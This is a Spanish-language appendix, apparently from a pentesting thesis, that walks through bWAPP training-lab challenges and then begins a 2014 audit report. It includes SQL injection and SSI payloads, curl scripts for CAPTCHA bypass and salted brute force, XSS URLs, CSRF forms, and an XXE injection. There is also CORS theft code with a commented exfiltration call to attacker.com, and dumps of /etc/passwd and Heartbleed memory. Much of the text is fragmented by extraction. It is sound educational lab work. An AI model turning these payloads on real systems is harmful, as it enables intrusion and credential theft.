PHP Code Injection
Level Low
Level Medium
Level Low
Podemos obtener información del sistema mediante la ejecución de los comandos como
el siguiente:
<pre > <! - -# exec cmd ="/ sbin / ifconfig " - - > </ pre >
Level Low
51
’ and 1=0 union select 1 ,2 ,3 ,4 ,5 ,6 ,7 -- -
Level Low
Level Low
Forzando un error vemos que nuestro código se introduce antes de la siguiente sintaxis,
que cierra la query:
’,’ bee ’) ’
52
Broken Authentication - CAPTCHA Bypassing
Level Low
Realizando diferentes pruebas de uso y abuso se identifica que la aplicación web vincula
el valor del CAPTCHA al usuario al cargar el iFrame “captcha_box.php”.
Por ello se consigue bypassear el CAPTCHA evitando la carga del iFrame, ya que no
se da valor a la variable a nivel de servidor.
PoC:
curl -s -b cookie -c cookie -L http :// localhost / bWAPP / login . php
-- data " login = bee & password = bug & security_level =0& form = submit " >
/ dev / null
curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_c aptcha_b ypass . php | grep -A 50 ’< div
id =" main " > ’ > / dev / null
curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_c aptcha_b ypass . php -- data
" login = bee & password = bug & captcha_user =& form = submit "| grep
’& nbsp ;& nbsp ;& nbsp ; < font color =.* login ! </ font > ’
Level Medium
Level Low
Viendo el código de la página web se observa que las credenciales (tonystark:I am Iron
Man) se encuentran almacenadas en el html:
<h1 > Broken Auth . - Insecure Login Forms </ h1 >
< form action ="/ bWAPP / ba _ i ns e cu r e_ l o gi n _1 . php " method =" POST " >
<p > < label for =" login " > Login : </ label > < font
color =" white " > tonystark </ font > < br / >
< input type =" text " id =" login " name =" login " size ="20" / > </p >
<p > < label for =" password " > Password : </ label > < font
color =" white " > I am Iron Man </ font > < br / >
53
< input type =" password " id =" password " name =" password "
size ="20" / > </p >
< button type =" submit " name =" form "
value =" submit " > Login </ button >
Level Medium
function unlock_secret ()
{
i f ( document . f o r m s [ 0 ] . p a s s p h r a s e . v a l u e == s e c r e t )
{
// U n l o c k e d
l o c a t i o n . h r e f ="/bWAPP/ b a _ i n s e c u r e _ l o g i n _ 2 . php ? s e c r e t =" + s e c r e t ;
else
{
// Locked
l o c a t i o n . h r e f ="/bWAPP/ b a _ i n s e c u r e _ l o g i n _ 2 . php ? s e c r e t =";
</ s c r i p t >
54
var s = bWAPP. c h a r A t ( 1 7 ) ; var k = bWAPP. c h a r A t ( 1 0 ) ; var d = bWAPP. c h a r A t ( 2 3 ) ;
var t = bWAPP. c h a r A t ( 2 ) ; var n = bWAPP. c h a r A t ( 1 2 ) ; var e = bWAPP. c h a r A t ( 4 ) ;
var a = bWAPP. c h a r A t ( 1 ) ; var o = bWAPP. c h a r A t ( 1 3 ) ; var f = bWAPP. c h a r A t ( 5 ) ;
var b = bWAPP. c h a r A t ( 1 ) ; var q = bWAPP. c h a r A t ( 1 5 ) ; var h = bWAPP. c h a r A t ( 9 ) ;
var c = bWAPP. c h a r A t ( 2 ) ; var h = bWAPP. c h a r A t ( 2 ) ; var i = bWAPP. c h a r A t ( 7 ) ;
var j = bWAPP. c h a r A t ( 5 ) ; var i = bWAPP. c h a r A t ( 7 ) ; var y = bWAPP. c h a r A t ( 2 2 ) ;
var g = bWAPP. c h a r A t ( 1 ) ; var p = bWAPP. c h a r A t ( 4 ) ; var p = bWAPP. c h a r A t ( 2 8 ) ;
var l = bWAPP. c h a r A t ( 1 1 ) ; var k = bWAPP. c h a r A t ( 1 4 ) ;
var q = bWAPP. c h a r A t ( 1 2 ) ; var n = bWAPP. c h a r A t ( 1 2 ) ;
var m = bWAPP. c h a r A t ( 4 ) ; var o = bWAPP. c h a r A t ( 1 9 ) ;
alert ( secret ) ;
</ s c r i p t >
Level Low
Se identifica una debilidad en el cierre de sesión, que permite volver atrás y mantener
la operativa. Esto es así ya que no se cambia el ID de sesión al solciitar el cierre de sesión
ni se da de baja en el back-end.
Level Medium
Al solicitar el cierre de sesión el servidor destruye los datos de la sesión del usuario
activo mediante el comando “session_destroy()”. En el transcurso de las pruebas no se ha
identificado la forma de bypassear esta medida.
Level Low
55
Level Medium
Dado que hay un salt variable en cada una de las peticiones, se genera el siguiente
script que permite obtener las contraseñas partiendo del listado de usuarios (usuarios) y
contraseñas (pass):
rm - rf cookie
curl -s -b cookie -c cookie -L http :// localhost / bWAPP / login . php
-- data " login = bee & password = bug & security_level =1& form = submit " >
/ dev / null
cat usuarios | while read users ; do cat pass | while read pass ; do
salt = $ ( curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_pwd_attacks_2 . php | grep " salt "| sed
’s /.* value \=\"\(.*\) \".*/\1/ g ’)
result = $ ( curl -s -c cookie -b cookie
http :// localhost / bWAPP / ba_pwd_attacks_2 . php -- data
" login = $users & password = $pass & salt = $salt & form = submit "| grep ’< font
color =".*" >.* </ font > ’| grep -v " < td >")
if [[ " $ ( echo $result | grep Succes ) " ]]; then
echo " Encontrado $users $pass "
fi
done
done
Level Low
Hydra ( http :// www . thc . org / thc - hydra ) starting at 2015 -05 -03 02:16:11
[ DATA ] max 16 tasks per 1 server , overall 64 tasks , 13782 login tries
( l :4594/ p :3) , ~13 tries per task
[ DATA ] attacking service http - post - form on port 80
[80][ http - post - form ] host : localhost login : test password : test
[ STATUS ] 12473.00 tries / min , 12473 tries in 00:01 h , 1309 todo in
00:01 h , 16 active
1 of 1 target successfully completed , 1 valid password found
Hydra ( http :// www . thc . org / thc - hydra ) finished at 2015 -05 -03 02:17:17
56
Session Management - Administrative Portals
Level Low
Level Medium
Identificamos que hay una cookie con la variable “admin” con valor 0 (false).
Observamos que en el nivel bajo todas las cookies son accesibles desde HTTP y Javas-
cript sin distinción. En el nivel medio la cookie “top_security” se inicializa como “HTT-
POnly” y por lo tanto únicamente es accesible desde HTTP.
Observamos que en el nivel bajo todas las cookies son accesibles desde HTTP (canal
no cifrado). En el nivel medio la cookie “top_security” se inicializa como “Secure” y por
lo tanto únicamente es accesible a través de HTTPS (canal cifrado).
57
Session Management - Strong Sessions
Regards
Malik
Level Low
Validamos que ambos campos del formulario son vulnerables a XSS, que se puede
validar accediendo (mediante GET) a la URL:
http :// itsecgames . com / bWAPP / xss_get . php ? firstname = %3 Cscript %3 Ealert
%281 %29 %3 B %3C %2 Fscript %3E & lastname = %3 Cscript %3 Ealert %282 %29 %3 B %3C
%2 Fscript %3E & form = submit
58
Level Medium
No obstante, dado que en este caso se envía por POST, la reflexión es hacia el propio
atacante. Para poder afectar a terceros se tendría que generar peticiones POST válidas
desde una página bajo el control del atacante.
Level Low
var J SO NR esp on se Str in g = ’{" movies ":[{" response ":" AAAAAA ???
Sorry , we don ' t have that movie :("}]} ’;
59
Cross-Site Scripting - Stored (Blog)
Level Low
Level Low
60
Insecure DOR (Change Secret)
Level Low
<p > < label for =" secret " > New secret : </ label > < br / >
< input type =" text " id =" secret " name =" secret " > </p >
< input type =" hidden " name =" login " value =" bee " >
< button type =" submit " name =" action "
value =" change " > Change </ button >
Level Low
<p > Reset your secret to < input type =" button "
OnClick =" ResetSecret () ;" value =" Any bugs ?" > </ p >
function ResetSecret ()
{
var xmlHttp ;
// Code for IE7 + , Firefox , Chrome , Opera , Safari
if ( window . XMLHttpRequest )
{
xmlHttp = new XMLHttpRequest () ;
}
// Code for IE6 , IE5
else
{
61
xmlHttp = new ActiveXObject (" Microsoft . XMLHTTP ") ;
}
xmlHttp . open (" POST " ," xxe -2. php " , true ) ;
xmlHttp . setRequestHeader (" Content - type " ," text / xml ;
charset = UTF -8") ;
xmlHttp . send (" < reset > < login > bee </ login > < secret > Any
bugs ? </ secret > </ reset >") ;
}
Modificando estos valores (tanto en código como en la petición POST) podemos cam-
biar otras credenciales.
Level Low
<p > How many movie tickets would you like to order ? (15 EUR
per ticket ) </p >
<p > I would like to order < input type =" text "
name =" ticket_quantity " value ="1" size ="2" > tickets . </p >
< input type =" hidden " name =" ticket_price " value ="15" >
< button type =" submit " name =" action "
value =" order " > Confirm </ button >
Modificando este valor (tanto en código como en la petición POST) podemos cambiar
el precio de los tickets.
62
Cross-Domain Policy File (Flash)
Level Low
file –>fichero sfw comprimido flasm -x cdc.sfw –>fichero sfw descomprimido swfmill
–>volcado de flash a xml para facilitar el trabajo (swfmill swf2xml xdx.swf)
Level Low
Observamos que no se valida el origen en las peticiones, de forma que un ataque como
el siguiente se puede obtener el contenido:
function SendGET ()
{
var xmlhttp ;
// Code for IE7 + , Firefox , Chrome , Opera , Safari
if ( window . XMLHttpRequest )
{
xmlhttp = new XMLHttpRequest () ;
}
// Code for IE6 , IE5
else
{
xmlhttp = new ActiveXObject (" Microsoft . XMLHTTP ") ;
}
xmlhttp . o nr ead ys ta tec ha ng e = function ()
{
if ( xmlhttp . readyState ==4 && xmlhttp . status ==200)
{
xmlResp = xmlhttp . responseText ;
document . getElementById (" response ") . innerHTML =
xmlResp
alert ( xmlResp ) ;
// document . location =" http :// attacker . com :666/
grab . cgi ?"+ xmlResp ;
}
}
xmlhttp . open (" GET " ," http :// itsecgames . com / bWAPP / secret - cors -1. php
" , true ) ;
// xmlhttp . withCredentials = true ;
xmlhttp . send () ;
63
Level Medium
la respuesta es:
Wolverine ’ s secret : What ’ s a Magneto ?
Una vez dentro de la sesión “bee”, compilamos, identificamos el PID de udevd y co-
piamos un ejecutable a /tmp/run, que se ejecutará como root al ejecutar el exploit.
64
http :// itsecgames . com / bWAPP / backdoor . php
http :// itsecgames . com / bWAPP / config . inc
http :// itsecgames . com / bWAPP / portal . bak
http :// itsecgames . com / bWAPP / portal . zip
http :// itsecgames . com / bWAPP / web . config
-----------------
DIRB v2 .21
By The Dark Raver
-----------------
-----------------
65
+ http :// itsecgames . com / bWAPP / training ( CODE :200| SIZE :3843)
+ http :// itsecgames . com / bWAPP / web . config ( CODE :200| SIZE :7556)
---- Entering directory : http :// itsecgames . com / bWAPP / admin / ----
+ http :// itsecgames . com / bWAPP / admin / index ( CODE :200| SIZE :3160)
+ http :// itsecgames . com / bWAPP / admin / index . php ( CODE :200| SIZE :3160)
+ http :// itsecgames . com / bWAPP / admin / phpinfo ( CODE :200| SIZE :50446)
+ http :// itsecgames . com / bWAPP / admin / phpinfo . php ( CODE :200| SIZE :50458)
+ http :// itsecgames . com / bWAPP / admin / settings ( CODE :200| SIZE :0)
---- Entering directory : http :// itsecgames . com / bWAPP / apps / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
---- Entering directory : http :// itsecgames . com / bWAPP / documents / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
---- Entering directory : http :// itsecgames . com / bWAPP / fonts / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
---- Entering directory : http :// itsecgames . com / bWAPP / images / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
---- Entering directory : http :// itsecgames . com / bWAPP / logs / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
---- Entering directory : http :// itsecgames . com / bWAPP / passwords / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
---- Entering directory : http :// itsecgames . com / bWAPP / soap / ----
(!) WARNING : Directory IS LISTABLE . No need to scan it .
( Use mode ’-w ’ if you want to scan it anyway )
-----------------
DOWNLOADED : 9184 - FOUND : 29
66
Robots File (Disclosure)
User - agent : *
Disallow : / admin /
Disallow : / documents /
Disallow : / images /
Disallow : / passwords /
http://itsecgames.com/bWAPP/admin/
http://itsecgames.com/bWAPP/passwords/accounts.txt
’ test ’ , ’ test ’
’ test2 ’ , ’ test2 ’
’TES ’ , ’9680 c1 8b 0d9 25 44 f62 8f 89 e36 34 d7 05a b2 93 a0f 6 ’
’ TEST ’ ,
’ e3246772192f581766ce552f48c219e57edecacee76d80387749256435259e3e ’,
’ salt :9 bf6426fdad4c72d508832e06cc64b8d ’
’ test ’ ,
’68 d d 3 0 e f e 5 0 8 4 1 3 7 f 5 6 c 6 e c 9 2 7 8 0 6 7 7 3 1 b a 8 b 2 c 8 6 f 5 8 9 7 8 2 f 7 6 e 3 d e 0 c b 6 6 7 d 6 c ’ ,
’ salt :4 e8c34d94ae9c45cf677bde45194b3d6 ’
’ test ’ ,
’615 c 9 1 c 7 9 5 4 0 2 1 9 9 5 5 c c 7 8 9 2 a 1 4 f 0 1 d d a 9 8 c 4 b 7 c 6 e 9 8 a e 7 a 9 3 6 f 8 8 4 e 3 3 9 4 a e c d ’ ,
’ salt : f117df838460af34aa75d1351a27b1ca ’
http://itsecgames.com/bWAPP/passwords/heroes.xml
67
< heroes > < hero > < id >1 </ id > < login > neo </ login > < password > trinity </
password > < secret > Oh why didn ’ t I took that BLACK pill ? </ secret > <
movie > The Matrix </ movie > < genre > action sci - fi </ genre > </ hero > < hero
> < id >2 </ id > < login > alice </ login > < password > loveZombies </ password > <
secret > There ’ s a cure ! </ secret > < movie > Resident Evil </ movie > <
genre > action horror sci - fi </ genre > </ hero > < hero > < id >3 </ id > < login >
thor </ login > < password > Asgard </ password > < secret > Oh , no ... this is
Earth ... isn ’ t it ? </ secret > < movie > Thor </ movie > < genre > action sci
- fi </ genre > </ hero > < hero > < id >4 </ id > < login > wolverine </ login > <
password > Log@N </ password > < secret > What ’ s a Magneto ? </ secret > <
movie >X - Men </ movie > < genre > action sci - fi </ genre > </ hero > < hero > < id
>5 </ id > < login > johnny </ login > < password > m3ph1st0ph3l3s </ password > <
secret >I ’ m the Ghost Rider ! </ secret > < movie > Ghost Rider </ movie > <
genre > action sci - fi </ genre > </ hero > < hero > < id >6 </ id > < login > selene
</ login > < password > m00n </ password > < secret > It wasn ’ t the Lycans .
It was you . </ secret > < movie > Underworld </ movie > < genre > action
horror sci - fi </ genre > </ hero > </ heroes >
Level Low
Level Medium
HASH : 83785 e f b b e f 1 b 4 c d f 3 2 6 0 c 5 e 6 5 0 5 f 7 d 2 2 6 1 f 7 3 8 d
Possible Hashs :
[+] SHA -1
[+] MySQL5 - SHA -1( SHA -1( $pass ) )
68
[+] Tiger -160( HMAC )
[+] RipeMD -160( HMAC )
[+] Haval -160( HMAC )
[+] SHA -1( MaNGOS )
[+] SHA -1( MaNGOS2 )
[+] sha1 ( $pass . $salt )
[+] sha1 ( $salt . $pass )
[+] sha1 ( $salt . md5 ( $pass ) )
[+] sha1 ( $salt . md5 ( $pass ) . $salt )
[+] sha1 ( $salt . sha1 ( $pass ) )
[+] sha1 ( $salt . sha1 ( $salt . sha1 ( $pass ) ) )
[+] sha1 ( $username . $pass )
[+] sha1 ( $username . $pass . $salt )
[+] sha1 ( md5 ( $pass ) )
[+] sha1 ( md5 ( $pass ) . $salt )
[+] sha1 ( md5 ( sha1 ( $pass ) ) )
[+] sha1 ( sha1 ( $pass ) )
[+] sha1 ( sha1 ( $pass ) . $salt )
[+] sha1 ( sha1 ( $pass ) . substr ( $pass ,0 ,3) )
[+] sha1 ( sha1 ( $salt . $pass ) )
[+] sha1 ( sha1 ( sha1 ( $pass ) ) )
[+] sha1 ( strtolower ( $username ) . $pass )
No obstante, tras validar la máscara hasta longitud 6 sin resultados, se valida me-
diante el servicio online “hashkiller” (http://www.hashkiller.co.uk/sha1-decrypter.aspx),
obteniendo el resultado: “Any bugs?”, que validamos localmente:
# echo -n " Any bugs ?" | sha1sum
83785 e f b b e f 1 b 4 c d f 3 2 6 0 c 5 e 6 5 0 5 f 7 d 2 2 6 1 f 7 3 8 d
TLS renegotiation :
Secure session renegotiation supported
TLS Compression :
Compression disabled
69
Heartbleed :
TLS 1.0 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.2 not vulnerable to heartbleed
SSL Certificate :
Signature Algorithm : s h a 1 W i t h R S A E n c r y p t i o n
RSA Key Strength : 1024
70
En los niveles medio y alto este aspecto se ha solucionado parcialmente redirigiendo
el POST a una URL segura:
<h1 > Clear Text HTTP ( Credentials ) </ h1 >
<p > Enter your credentials <i >( bee / bug ) </i >. </ p >
< form
action =" https :// localhost / bWAPP / i n s u f f _ t r a n s p _ l a y e r _ p r o t e c t _ 1 . php "
method =" POST " >
<p > < label for =" login " > Login : </ label > < br / >
< input type =" text " id =" login " name =" login " size ="20" / > </p >
<p > < label for =" password " > Password : </ label > < br / >
< input type =" password " id =" password " name =" password "
size ="20" / > </p >
< button type =" submit " name =" form "
value =" submit " > Login </ button >
<p > Enter your credentials <i >( bee / bug ) </i >. </ p >
< form
action =" http :// localhost / bWAPP / i n s u f f _ t r a n s p _ l a y e r _ p r o t e c t _ 1 . php "
method =" POST " >
<p > < label for =" login " > Login : </ label > < br / >
< input type =" text " id =" login " name =" login " size ="20" / > </p >
<p > < label for =" password " > Password : </ label > < br / >
< input type =" password " id =" password " name =" password "
size ="20" / > </p >
< button type =" submit " name =" form "
value =" submit " > Login </ button >
Heartbleed Vulnerability
71
Waiting for Server Hello ...
... received message : type = 22 , ver = 0302 , length = 66
... received message : type = 22 , ver = 0302 , length = 675
... received message : type = 22 , ver = 0302 , length = 203
... received message : type = 22 , ver = 0302 , length = 4
Sending heartbeat request ...
... received message : type = 24 , ver = 0302 , length = 16384
Received heartbeat response :
0000: 02 40 00 D8 03 02 53 43 5 B 90 9 D 9 B 72 0 B BC 0 C
. @ .... SC [... r ...
0010: BC 2 B 92 A8 48 97 CF BD 39 04 CC 16 0 A 85 03 90
.+.. H ...9.......
0020: 9 F 77 04 33 D4 DE 00 00 66 C0 14 C0 0 A C0 22 C0
. w .3.... f .....".
0030: 21 00 39 00 38 00 88 00 87 C0 0 F C0 05 00 35 00
!.9.8.........5.
0040: 84 C0 12 C0 08 C0 1 C C0 1 B 00 16 00 13 C0 0 D C0
................
0050: 03 00 0 A C0 13 C0 09 C0 1 F C0 1 E 00 33 00 32 00
............3.2.
0060: 9 A 00 99 00 45 00 44 C0 0 E C0 04 00 2 F 00 96 00
.... E . D ...../...
0070: 41 C0 11 C0 07 C0 0 C C0 02 00 05 00 04 00 15 00
A ...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01
................
0090: 00 00 49 00 0 B 00 04 03 00 01 02 00 0 A 00 34 00
.. I ...........4.
00 a0 : 32 00 0 E 00 0 D 00 19 00 0 B 00 0 C 00 18 00 09 00
2...............
00 b0 : 0 A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00
................
00 c0 : 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0 F 00
................
00 d0 : 10 00 11 00 23 00 00 00 0 F 00 01 01 30 2 E 39 2 C
....#.......0.9 ,
00 e0 : 2 A 2 F 2 A 3 B 71 3 D 30 2 E 38 0 D 0 A 41 63 63 65 70
*/*; q =0.8.. Accep
00 f0 : 74 2 D 4 C 61 6 E 67 75 61 67 65 3 A 20 65 6 E 2 D 55 t - Language :
en - U
0100: 53 2 C 65 6 E 3 B 71 3 D 30 2 E 35 0 D 0 A 41 63 63 65
S , en ; q =0.5.. Acce
0110: 70 74 2 D 45 6 E 63 6 F 64 69 6 E 67 3 A 20 67 7 A 69
pt - Encoding : gzi
0120: 70 2 C 20 64 65 66 6 C 61 74 65 0 D 0 A 52 65 66 65 p,
deflate .. Refe
0130: 72 65 72 3 A 20 68 74 74 70 73 3 A 2 F 2 F 31 30 2 E rer :
https ://10.
0140: 30 2 E 31 34 2 E 33 33 3 A 38 34 34 33 2 F 62 57 41
0.14.33:8443/ bWA
0150: 50 50 2 F 6 C 6 F 67 69 6 E 2 E 70 68 70 0 D 0 A 43 6 F
PP / login . php .. Co
0160: 6 F 6 B 69 65 3 A 20 73 65 63 75 72 69 74 79 5 F 6 C okie :
security_l
0170: 65 76 65 6 C 3 D 30 3 B 20 50 48 50 53 45 53 53 49 evel =0;
PHPSESSI
0180: 44 3 D 37 63 30 38 34 34 63 61 62 30 66 32 36 39
D =7 c0844cab0f269
72
0190: 39 65 61 37 36 36 62 65 61 61 34 36 64 62 32 64
9 ea766beaa46db2d
01 a0 : 64 37 0 D 0 A 43 6 F 6 E 6 E 65 63 74 69 6 F 6 E 3 A 20
d7 .. Connection :
01 b0 : 6 B 65 65 70 2 D 61 6 C 69 76 65 0 D 0 A 0 D 0 A 2 F AC
keep - alive ..../.
01 c0 : 84 B9 C4 8 E 1 B 20 C1 3 C 7 B 03 43 DD 59 72 69 63 .....
. <{. C . Yric
01 d0 : 61 74 69 6 F 6 E 2 F 78 2 D 77 77 77 2 D 66 6 F 72 6 D
ation /x - www - form
01 e0 : 2 D 75 72 6 C 65 6 E 63 6 F 64 65 64 0 D 0 A 43 6 F 6 E
- urlencoded .. Con
01 f0 : 74 65 6 E 74 2 D 4 C 65 6 E 67 74 68 3 A 20 35 31 0 D
tent - Length : 51.
0200: 0 A 0 D 0 A 6 C 6 F 67 69 6 E 3 D 62 65 65 26 70 61 73
... login = bee & pas
0210: 73 77 6 F 72 64 3 D 62 75 67 26 73 65 63 75 72 69
sword = bug & securi
0220: 74 79 5 F 6 C 65 76 65 6 C 3 D 30 26 66 6 F 72 6 D 3 D
ty_level =0& form =
0230: 73 75 62 6 D 69 74 65 EA 99 4 B BA 6 B 61 8 B 69 11
submite .. K . ka . i .
0240: 09 46 CB 15 99 D5 00 00 00 00 00 00 00 00 00 00
. F ..............
Esta debilidad facilita los ataques de phishing al generar una URL de reseteo de
contraseña arbitraria según el header definido por el atacante en la petición HTTP de
reseteo, enviándole un correo al usuario válido con una URL bajo el control del atacante.
Level Low
73
Welcome bee
login : bee
secret : Any bugs ?
Level Low
Podemos ver qué ficheros contiene (al más puro estilo “ls”):
74
Level Medium
Level Low
Podemos ver qué ficheros contiene (al más puro estilo “cat”):
Level Medium
75
Local File Inclusion (SQLiteManager)
Se obtiene en la respuesta:
root : x :0:0: root :/ root :/ bin / bash
daemon : x :1:1: daemon :/ usr / sbin :/ bin / sh
bin : x :2:2: bin :/ bin :/ bin / sh
sys : x :3:3: sys :/ dev :/ bin / sh
sync : x :4:65534: sync :/ bin :/ bin / sync
games : x :5:60: games :/ usr / games :/ bin / sh
man : x :6:12: man :/ var / cache / man :/ bin / sh
lp : x :7:7: lp :/ var / spool / lpd :/ bin / sh
mail : x :8:8: mail :/ var / mail :/ bin / sh
news : x :9:9: news :/ var / spool / news :/ bin / sh
uucp : x :10:10: uucp :/ var / spool / uucp :/ bin / sh
proxy : x :13:13: proxy :/ bin :/ bin / sh
www - data : x :33:33: www - data :/ var / www :/ bin / sh
backup : x :34:34: backup :/ var / backups :/ bin / sh
list : x :38:38: Mailing List Manager :/ var / list :/ bin / sh
irc : x :39:39: ircd :/ var / run / ircd :/ bin / sh
gnats : x :41:41: Gnats Bug - Reporting System
( admin ) :/ var / lib / gnats :/ bin / sh
nobody : x :65534:65534: nobody :/ nonexistent :/ bin / sh
libuuid : x :100:101::/ var / lib / libuuid :/ bin / sh
dhcp : x :101:102::/ nonexistent :/ bin / false
syslog : x :102:103::/ home / syslog :/ bin / false
klog : x :103:104::/ home / klog :/ bin / false
hplip : x :104:7: HPLIP system user , , ,:/ var / run / hplip :/ bin / false
avahi - autoipd : x :105:113: Avahi autoip
daemon , , ,:/ var / lib / avahi - autoipd :/ bin / false
gdm : x :106:114: Gnome Display Manager :/ var / lib / gdm :/ bin / false
pulse : x :107:116: PulseAudio daemon , , ,:/ var / run / pulse :/ bin / false
messagebus : x :108:119::/ var / run / dbus :/ bin / false
avahi : x :109:120: Avahi mDNS daemon , , ,:/ var / run / avahi - daemon :/ bin / false
polkituser : x :110:122: PolicyKit , , ,:/ var / run / PolicyKit :/ bin / false
haldaemon : x :111:123: Hardware abstraction
layer , , ,:/ var / run / hald :/ bin / false
bee : x :1000:1000: bee , , ,:/ home / bee :/ bin / bash
mysql : x :112:124: MySQL Server , , ,:/ var / lib / mysql :/ bin / false
sshd : x :113:65534::/ var / run / sshd :/ usr / sbin / nologin
dovecot : x :114:126: Dovecot mail server , , ,:/ usr / lib / dovecot :/ bin / false
76
smmta : x :115:127: Mail Transfer Agent , , ,:/ var / lib / sendmail :/ bin / false
smmsp : x :116:128: Mail Submission
Program , , ,:/ var / lib / sendmail :/ bin / false
neo : x :1001:1001::/ home / neo :/ bin / sh
alice : x :1002:1002::/ home / alice :/ bin / sh
thor : x :1003:1003::/ home / thor :/ bin / sh
wolverine : x :1004:1004::/ home / wolverine :/ bin / sh
johnny : x :1005:1005::/ home / johnny :/ bin / sh
selene : x :1006:1006::/ home / selene :/ bin / sh
postfix : x :117:129::/ var / spool / postfix :/ bin / false
proftpd : x :118:65534::/ var / run / proftpd :/ bin / false
ftp : x :119:65534::/ home / ftp :/ bin / false
snmp : x :120:65534::/ var / lib / snmp :/ bin / false
ntp : x :121:131::/ home / ntp :/ bin / false
Level Low
Podemos ver qué ficheros contiene (al más puro estilo “cat”).
Level Medium
77
XML External Entity Attacks (XXE)
Level Low
< reset > < login > ’ OR ’1 ’= ’1 </ login > < secret > A2 </ secret > </ reset >
Level Low
< form action =" http :// itsecgames . com / bWAPP / csrf_1 . php "
method =" GET " >
<p > < label for =" password_new " > New password : </ label > < br / >
< input type =" password " id =" password_new "
name =" password_new " > </p >
<p > < label for =" password_conf " > Re - type new
password : </ label > < br / >
< input type =" password " id =" password_conf "
name =" password_conf " > </p >
< button type =" submit " name =" action "
value =" change " > Change </ button >
y observamos que se realiza el cambio de credenciales para la cuenta del usuario ac-
tualmente logueado en la web original.
78
Level Medium
Este nivel incorpora la contraseña actual para poder realizar el cambio, hecho que
requiere de interacción del usuario. La explotación es equivalente a la anterior pero requiere
de ingeniería social para que el usuario introduzca su contraseña actual.
Level Low
Level Medium
Este nivel genera un token en la carga del formulario que se almacena en una cookie,
que no es posible spoofear mediante CSRF.
Este método se considera seguro.
Level Low
< form action =" http :// itsecgames . com / bWAPP / csrf_2 . php "
method =" GET " >
<p > < label for =" account " > Account to transfer : </ label > < br / >
< input type =" text " id =" account " name =" account "
value ="123 -45678 -90" > </ p >
<p > < label for =" amount " > Amount to transfer : </ label > < br / >
< input type =" text " id =" amount " name =" amount " value ="0" > </ p >
< button type =" submit " name =" action "
value =" transfer " > Transfer </ button >
79
C.4. Infraestructuras
C.4.1. Herramientas
Existe un gran número de herramientas disponibles para llevar a cabo ataques a in-
fraestructura entre las que destacan, para cada una de las fases del pentest:
1. Reconocimiento o fingerprinting
dnsmap
dnsenum
DNSRecon
nmap
hping3
WPScan
3. Descubrimiento de vulnerabilidades
OpenVAS
sqlmap
Metasploit
Armitage
BeEF
La distribución Kali Linux5 incluye todas estas herramientas y muchas más, ya sea
pre-instaladas en la distribución por defecto o facilmente instalables a través de su propia
fuente APT.
5
http://tools.kali.org/tools-listing
80
Redes
Redes inalámbricas
Debido a sus particularidades, las redes inalámbricas merecen una mención a parte,
siendo las siguientes fuentes especialmente interesantes para este tipo de infraestructuras:
81
Aman Hardikar ha desarrollado los siguientes mindmaps relacionados con el pentest
de infraestructuras:
http://amanhardikar.com/mindmaps/Infrastructure.html
http://amanhardikar.com/mindmaps/Wireless.html
82
Figura C.3: Mindmap de ataque a redes inalámbricas por Aman Hardikar
Metasploitable (http://sourceforge.net/projects/virtualhacking/files/os/
metasploitable/)
LAMPSecurity (http://sourceforge.net/projects/lampsecurity/)
83
UltimateLAMP (http://www.amanhardikar.com/mindmaps/practice-links.html)
pWnOS (http://www.pwnos.com/)
Holynix (http://sourceforge.net/projects/holynix/files/)
Kioptrix (http://www.kioptrix.com/blog/)
neutronstar (http://neutronstar.org/goatselinux.html)
scriptjunkie.us (http://www.scriptjunkie.us/2012/04/the-hacker-games/)
21LTR (http://21ltr.com/scenes/)
Vulnserver (http://www.thegreycorner.com/2010/12/introducing-vulnserver.
html)
Bitnami (https://bitnami.com/stacks)
CentOS (http://www.centos.org/)
S1_100
84
S1_110
S1_120
192.168.1.100
192.168.1.110
192.168.1.120
85
Auditorı́a de Seguridad Técnica
Resumen de resultados
Pablo Urmeneta
12 de Noviembre de 2014
86
Índice general
Introducción 2
Objetivo y alcance 3
Objetivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Alcance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Resumen ejecutivo 4
Conclusiones generales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Principales vulnerabilidades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Recomendaciones generales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Trabajo realizado 6
Informe técnico 7
Resumen de puertos y servicios detectados . . . . . . . . . . . . . . . . . . . . . . . . 7
Detalles de las vulnerabilidades identificadas . . . . . . . . . . . . . . . . . . . . . . . 8
87
Introducción
El presente informe describe los resultados de la auditorı́a de seguridad realizada sobre las
plataformas acordadas, realizado entre el 6 y el 11 de Noviembre de 2014.
El informe se divide en dos partes, exponiendo en la primera el nivel de riesgo global, seguido
por el informe técnico en el que se detallan los aspectos identificados junto a una valoración del
riesgo, que contempla tanto la probabilidad como el impacto, ası́ como la estrategia de remediación
propuesta.
La información presentada en el documento se corresponde a los resultados del análisis de los
sistemas en las fechas definidas, y si bien en el transcurso del trabajo se han llevado a cabo un
amplio abanico de pruebas, no es posible garantizar que un potencial atacante con más recursos o
